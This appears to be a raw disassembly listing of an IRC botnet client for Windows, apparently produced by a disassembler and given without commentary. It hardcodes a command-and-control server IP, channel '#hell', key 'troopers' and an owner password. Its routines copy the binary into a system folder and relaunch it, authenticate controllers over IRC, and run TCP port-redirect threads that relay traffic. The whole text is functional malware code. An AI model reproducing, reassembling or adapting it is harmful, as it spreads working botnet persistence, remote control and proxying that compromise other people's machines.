		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_404592
		push	ebx
		push	esi
		push	offset aMainFailedHost ; "[MAIN]: *Failed host auth by:	(%s!%s)."
		jmp	short loc_40D09F
; ---------------------------------------------------------------------------


loc_40D108:				; CODE XREF: sub_4078FA+57CBj
		mov	edx, [ebp+arg_18]
		xor	eax, eax


loc_40D10D:				; CODE XREF: sub_4078FA+5855j
		cmp	byte ptr [edx],	0
		jnz	short loc_40D145
		mov	edi, [ebp+var_8]
		mov	esi, offset aN3m3s1s ; "n3m3s1s"


loc_40D11A:				; CODE XREF: sub_4078FA+583Cj
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [edi]
		jnz	short loc_40D13C
		test	cl, cl
		jz	short loc_40D138
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [edi+1]
		jnz	short loc_40D13C
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40D11A


loc_40D138:				; CODE XREF: sub_4078FA+582Aj
		xor	ecx, ecx
		jmp	short loc_40D141
; ---------------------------------------------------------------------------


loc_40D13C:				; CODE XREF: sub_4078FA+5826j
					; sub_4078FA+5834j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_40D141:				; CODE XREF: sub_4078FA+5840j
		test	ecx, ecx
		jz	short loc_40D156


loc_40D145:				; CODE XREF: sub_4078FA+5816j
		inc	eax
		add	edx, 80h
		cmp	eax, 2
		jl	short loc_40D10D
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40D156:				; CODE XREF: sub_4078FA+5849j
		shl	eax, 7
		add	eax, [ebp+arg_18]
		push	7Fh
		lea	ecx, [ebp+var_C04]
		push	ecx
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40D18F
		push	0
		push	[ebp+var_4]
		push	offset aMainPasswordAc ; "[MAIN]: Password accepted."
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40D18F:				; CODE XREF: sub_4078FA+5878j
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aMainUserSLog_1 ; "[MAIN]: User:	%s logged in."


loc_40D19B:				; CODE XREF: sub_4078FA+6F8j
					; sub_4078FA+45F8j ...
		call	sub_401CA7
		pop	ecx


loc_40D1A1:				; CODE XREF: sub_4078FA+32FCj
		pop	ecx
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40D1A7:				; CODE XREF: sub_4078FA+1FDj
					; sub_4078FA+210j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aIx	; "+ix"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		xor	eax, eax
		add	esp, 2Ch
		inc	eax
		mov	dword_479BB8, eax
		jmp	loc_407B7E
sub_4078FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1EF	proc near		; CODE XREF: .text:00414AA6p

var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= byte ptr -0E8h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_402795
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_41F004
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_479BB0, eax
		call	esi
		push	eax
		call	sub_412D64
		pop	ecx
		call	sub_40468E
		push	2
		call	dword_433478
		push	7530h
		push	offset aBot018	; "Bot018"
		push	ebx
		push	ebx
		call	ds:dword_41F0DC
		push	eax
		call	ds:dword_41F0D8
		cmp	eax, 102h
		jnz	short loc_40D26E
		push	1
		jmp	loc_40D4CE
; ---------------------------------------------------------------------------


loc_40D26E:				; CODE XREF: sub_40D1EF+76j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_4334B0
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40D73B
		cmp	[ebp+var_888], 2
		jnz	loc_40D735
		cmp	[ebp+var_887], 2
		jnz	loc_40D735
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		call	ds:dword_41F040
		push	esi
		lea	eax, [ebp+var_2F0]
		push	eax
		push	ebx
		call	ds:dword_41F078
		push	eax
		call	ds:dword_41F010
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_4141AD
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413920
		add	esp, 30h
		test	eax, eax
		jnz	loc_40D4D4
		cmp	dword_42AE54, ebx
		mov	esi, offset byte_42AED0
		jz	short loc_40D376
		mov	eax, esi
		xor	edi, edi
		lea	ecx, [eax+1]


loc_40D33C:				; CODE XREF: sub_40D1EF+152j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_40D33C
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		test	eax, eax
		jbe	short loc_40D376


loc_40D34C:				; CODE XREF: sub_40D1EF+185j
		call	sub_412D71
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		mov	eax, esi
		lea	ecx, [eax+1]
		add	dl, 61h
		mov	byte_42AED0[edi], dl
		inc	edi


loc_40D366:				; CODE XREF: sub_40D1EF+17Cj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_40D366
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		cmp	edi, eax
		jb	short loc_40D34C


loc_40D376:				; CODE XREF: sub_40D1EF+144j
					; sub_40D1EF+15Bj
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset aSS_5	; "%s\\%s"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F06C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D3B6
		push	80h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F0A0


loc_40D3B6:				; CODE XREF: sub_40D1EF+1B3j
		mov	esi, ds:dword_41F000
		push	7D0h
		call	esi
		mov	edi, ds:dword_41F0D4
		mov	[ebp+var_4], ebx
		jmp	short loc_40D3F1
; ---------------------------------------------------------------------------


loc_40D3CE:				; CODE XREF: sub_40D1EF+215j
		call	ds:dword_41F008
		cmp	[ebp+var_4], ebx
		jnz	short loc_40D406
		cmp	eax, 20h
		jz	short loc_40D3E3
		cmp	eax, 5
		jnz	short loc_40D406


loc_40D3E3:				; CODE XREF: sub_40D1EF+1EDj
		push	3A98h
		mov	[ebp+var_4], 1
		call	esi


loc_40D3F1:				; CODE XREF: sub_40D1EF+1DDj
		push	ebx
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	edi
		test	eax, eax
		jz	short loc_40D3CE


loc_40D406:				; CODE XREF: sub_40D1EF+1E8j
					; sub_40D1EF+1F2j
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_40584F
		pop	ecx
		push	7
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F0A0
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		xor	edi, edi
		inc	edi
		mov	[ebp+var_5C], 41FA76h
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], edi
		mov	[ebp+var_38], bx
		call	ds:dword_41F0D0
		push	eax
		push	edi
		push	100000h
		call	ds:dword_41F0C4
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_412BB5
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		lea	eax, [ebp+var_98C]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F030
		test	eax, eax
		jz	short loc_40D4DA
		push	0C8h
		call	esi
		push	[ebp+var_24]
		mov	esi, ds:dword_41F034
		call	esi
		push	[ebp+var_20]
		call	esi
		call	dword_4335B8
		push	ebx


loc_40D4CE:				; CODE XREF: sub_40D1EF+7Aj
		call	ds:dword_41F02C


loc_40D4D4:				; CODE XREF: sub_40D1EF+133j
		mov	esi, ds:dword_41F000


loc_40D4DA:				; CODE XREF: sub_40D1EF+2BFj
		cmp	dword_479E70, 2
		jle	short loc_40D522
		mov	eax, dword_479E74
		push	dword ptr [eax+4]
		call	sub_412F42
		pop	ecx
		mov	edi, eax
		push	0FFFFFFFFh
		push	edi
		call	ds:dword_41F0D8
		push	edi
		call	ds:dword_41F034
		mov	eax, dword_479E74
		cmp	[eax+8], ebx
		jz	short loc_40D522
		push	7D0h
		call	esi
		mov	eax, dword_479E74
		push	dword ptr [eax+8]
		call	ds:dword_41F0B8


loc_40D522:				; CODE XREF: sub_40D1EF+2F2j
					; sub_40D1EF+31Cj
		cmp	dword_42AE58, ebx
		jz	short loc_40D53F
		cmp	dword_433600, ebx
		jnz	short loc_40D53F
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_401E73
		pop	ecx


loc_40D53F:				; CODE XREF: sub_40D1EF+339j
					; sub_40D1EF+341j
		lea	eax, [ebp+var_E8]
		push	offset aMainBotStarted ; "[MAIN]: Bot started."
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_E8]
		push	ebx
		push	eax
		call	sub_410EEA
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401C33
		xor	eax, eax
		mov	ecx, 2E0h
		mov	edi, offset dword_479030
		rep stosd
		lea	eax, [ebp+var_E8]
		push	offset aSecureSystemSe ; "[SECURE]: System secure monitor active."...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_E8]
		push	1Ah
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_40F005
		push	ebx
		push	ebx
		call	ds:dword_41F00C
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_43434C[edi], eax
		jnz	short loc_40D5DB
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_E8]
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40D5DB:				; CODE XREF: sub_40D1EF+3CFj
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401C33
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		push	offset dword_478ECC
		mov	dword_479BBC, ebx
		call	sub_412C40
		mov	eax, dword_42AE38
		push	3Fh
		push	offset aHell	; "#hell"
		mov	esi, offset dword_478F4C
		push	esi
		mov	dword_47901C, eax
		call	sub_412C40
		push	3Fh
		push	offset aTroopers ; "troopers"
		mov	edi, offset dword_478F8C
		push	edi
		call	sub_412C40
		add	esp, 28h
		mov	dword_479020, ebx


loc_40D635:				; CODE XREF: sub_40D1EF+4ECj
					; sub_40D1EF+4F7j ...
		mov	[ebp+var_4], ebx


loc_40D638:				; CODE XREF: sub_40D1EF+4A0j
		cmp	dword_433618, ebx
		jnz	short loc_40D656
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_433428
		test	eax, eax
		jnz	short loc_40D656
		push	7530h
		jmp	short loc_40D682
; ---------------------------------------------------------------------------


loc_40D656:				; CODE XREF: sub_40D1EF+44Fj
					; sub_40D1EF+45Ej
		push	offset dword_478EC8
		mov	dword_479BB8, ebx
		call	sub_40779B
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40D730
		cmp	dword_479BB8, ebx
		jz	short loc_40D67D
		dec	[ebp+var_4]


loc_40D67D:				; CODE XREF: sub_40D1EF+489j
		push	0BB8h


loc_40D682:				; CODE XREF: sub_40D1EF+465j
		call	ds:dword_41F000
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jl	short loc_40D638
		cmp	[ebp+var_8], 2
		jz	loc_40D730
		cmp	[ebp+var_C], ebx
		jz	short loc_40D6E0
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		push	offset dword_478ECC
		call	sub_412C40
		mov	eax, dword_42AE38
		push	3Fh
		push	offset aHell	; "#hell"
		push	esi
		mov	dword_47901C, eax
		call	sub_412C40
		push	3Fh
		push	offset aTroopers ; "troopers"
		push	edi
		call	sub_412C40
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40D635
; ---------------------------------------------------------------------------


loc_40D6E0:				; CODE XREF: sub_40D1EF+4AFj
		cmp	byte_42AEAC, bl
		jz	loc_40D635
		push	7Fh
		push	offset byte_42AEAC
		push	offset dword_478ECC
		call	sub_412C40
		mov	eax, dword_42AE3C
		push	3Fh
		push	offset dword_42AEBC
		push	esi
		mov	dword_47901C, eax
		call	sub_412C40
		push	3Fh
		push	offset aTroopers_0 ; "troopers"
		push	edi
		call	sub_412C40
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40D635
; ---------------------------------------------------------------------------


loc_40D730:				; CODE XREF: sub_40D1EF+47Dj
					; sub_40D1EF+4A6j
		call	sub_41105B


loc_40D735:				; CODE XREF: sub_40D1EF+A3j
					; sub_40D1EF+B0j
		call	dword_4335B8


loc_40D73B:				; CODE XREF: sub_40D1EF+96j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40D1EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D744	proc near		; DATA XREF: sub_40D7DF+12Co

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	ebx, 1000h
		jmp	short loc_40D799
; ---------------------------------------------------------------------------


loc_40D77E:				; CODE XREF: sub_40D744+7Bj
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_434344[esi]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D7C1


loc_40D799:				; CODE XREF: sub_40D744+38j
		xor	eax, eax
		push	eax
		lea	edi, [ebp+var_1128]
		mov	ecx, 400h
		rep stosd
		push	ebx
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_434348[esi]
		call	dword_433414
		test	eax, eax
		jg	short loc_40D77E


loc_40D7C1:				; CODE XREF: sub_40D744+53j
		push	dword_434348[esi]
		call	dword_4335AC
		push	[ebp+var_14]
		call	sub_4111AE
		pop	ecx
		push	0
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40D744	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D7DF	proc near		; DATA XREF: sub_40D9BC+118o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_144]
		rep movsd
		mov	esi, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], esi
		call	dword_4334A0
		xor	ebx, ebx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40D93E
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_18]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_18], 2
		call	dword_4335EC
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_433514
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40D867
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_433500
		jmp	short loc_40D875
; ---------------------------------------------------------------------------


loc_40D867:				; CODE XREF: sub_40D7DF+77j
		push	2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_433590


loc_40D875:				; CODE XREF: sub_40D7DF+86j
		cmp	eax, ebx
		jz	loc_40D93E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		push	10h
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D93E
		push	[ebp+var_34]
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_14]
		mov	[ebp+var_20], ebx
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aRedirectClient ; "[REDIRECT]: Client connection	to IP: %s"...
		push	eax
		call	sub_412BB5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_344]
		push	11h
		push	eax
		call	sub_410EEA
		imul	esi, 234h
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	dword_43433C[eax], ecx
		add	esp, 20h
		lea	esi, dword_434344[esi]
		mov	ecx, [esi]
		mov	dword_434348[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	eax
		push	offset sub_40D744
		push	ebx
		push	ebx
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_40D974
		call	ds:dword_41F008
		push	eax
		push	offset aRedirectFail_0 ; "[REDIRECT]: Failed to	start connection "...
		call	sub_401CA7
		pop	ecx
		pop	ecx


loc_40D93E:				; CODE XREF: sub_40D7DF+42j
					; sub_40D7DF+98j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_434344[eax]
		call	dword_4335AC
		push	[ebp+arg_0]
		call	dword_4335AC
		push	[ebp+var_4]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014


loc_40D96C:				; CODE XREF: sub_40D7DF+198j
		push	32h
		call	ds:dword_41F000


loc_40D974:				; CODE XREF: sub_40D7DF+14Aj
		cmp	[ebp+var_20], ebx
		jz	short loc_40D96C
		jmp	short loc_40D992
; ---------------------------------------------------------------------------


loc_40D97B:				; CODE XREF: sub_40D7DF+1D9j
		push	ebx
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D93E


loc_40D992:				; CODE XREF: sub_40D7DF+19Aj
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+var_1344]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+var_1344]
		push	eax
		push	dword ptr [esi]
		call	dword_433414
		cmp	eax, ebx
		jg	short loc_40D97B
		jmp	short loc_40D93E
sub_40D7DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9BC	proc near		; DATA XREF: sub_4078FA+26DCo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	4Ah
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	[ebp+var_40]
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_4335EC
		push	6
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], ebx
		mov	[ebp+arg_0], 10h
		call	dword_4334A0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40DB1B
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	esi
		push	401h
		push	ebx
		push	edi
		mov	dword_434344[eax], edi
		call	dword_43352C
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		call	dword_433578
		test	eax, eax
		jnz	loc_40DB1B
		push	0Ah
		push	edi
		call	dword_4335C0
		test	eax, eax
		jnz	loc_40DB1B


loc_40DA62:				; CODE XREF: sub_40D9BC+BAj
					; sub_40D9BC+15Aj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_433464
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DA62
		push	[ebp+var_3C]
		movzx	eax, [ebp+var_22]
		push	eax
		push	[ebp+var_20]
		mov	[ebp+var_148], esi
		mov	[ebp+var_2C], ebx
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset aRedirectClie_0 ; "[REDIRECT]: Client connection	from IP: "...
		push	eax
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_34C]
		push	11h
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_14C]
		push	eax
		push	offset sub_40D7DF
		push	ebx
		push	ebx
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_40DB11
		call	ds:dword_41F008
		push	eax
		push	offset aRedirectFail_1 ; "[REDIRECT]: Failed to	start client thre"...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		jmp	short loc_40DB1E
; ---------------------------------------------------------------------------


loc_40DB09:				; CODE XREF: sub_40D9BC+158j
		push	32h
		call	ds:dword_41F000


loc_40DB11:				; CODE XREF: sub_40D9BC+136j
		cmp	[ebp+var_2C], ebx
		jz	short loc_40DB09
		jmp	loc_40DA62
; ---------------------------------------------------------------------------


loc_40DB1B:				; CODE XREF: sub_40D9BC+5Dj
					; sub_40D9BC+8Fj ...
		mov	esi, [ebp+arg_0]


loc_40DB1E:				; CODE XREF: sub_40D9BC+14Bj
		push	esi
		call	dword_4335AC
		push	edi
		call	dword_4335AC
		push	[ebp+var_3C]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40D9BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DB3D	proc near		; CODE XREF: sub_40DB6D+30p
					; sub_40DBAB+85p ...
		mov	eax, dword_479BCC
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, ds:dword_41F034
		jz	short loc_40DB51
		push	eax
		call	esi


loc_40DB51:				; CODE XREF: sub_40DB3D+Fj
		mov	eax, dword_479BC8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DB5E
		push	eax
		call	esi


loc_40DB5E:				; CODE XREF: sub_40DB3D+1Cj
		mov	eax, dword_479C04
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DB6B
		push	eax
		call	esi


loc_40DB6B:				; CODE XREF: sub_40DB3D+29j
		pop	esi
		retn
sub_40DB3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB6D	proc near		; CODE XREF: sub_4078FA+34AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_40DB77:				; CODE XREF: sub_40DB6D+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40DB77
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		push	dword_479BC0
		call	ds:dword_41F038
		test	eax, eax
		jnz	short loc_40DBA6
		call	sub_40DB3D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DBA6:				; CODE XREF: sub_40DB6D+2Ej
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40DB6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBAB	proc near		; CODE XREF: sub_40DC39+D9p
					; sub_40DC39+11Fp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ecx, ecx
		push	edi
		inc	ecx
		mov	edi, 41FA76h
		xor	eax, eax
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_40DBF0
		push	0FAh
		call	ds:dword_41F000
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_40DC07
; ---------------------------------------------------------------------------


loc_40DBF0:				; CODE XREF: sub_40DBAB+1Cj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40DC07:				; CODE XREF: sub_40DBAB+43j
		lea	eax, [ebp+var_200]
		lea	edx, [eax+1]


loc_40DC10:				; CODE XREF: sub_40DBAB+6Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40DC10
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534
		test	eax, eax
		jg	short loc_40DC35
		call	sub_40DB3D


loc_40DC35:				; CODE XREF: sub_40DBAB+83j
		xor	eax, eax
		leave
		retn
sub_40DBAB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC39	proc near		; DATA XREF: sub_40DDC6+16Ao

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ebx, 80h
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		xor	edi, edi
		push	edi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, 200h
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_479BCC
		call	ds:dword_41F0E4
		test	eax, eax
		jz	loc_40DD48
		jmp	short loc_40DC83
; ---------------------------------------------------------------------------


loc_40DC81:				; CODE XREF: sub_40DC39+109j
		xor	edi, edi


loc_40DC83:				; CODE XREF: sub_40DC39+46j
		cmp	[ebp+var_4], edi
		jnz	short loc_40DCB3
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_479C04
		call	ds:dword_41F0E0
		test	eax, eax
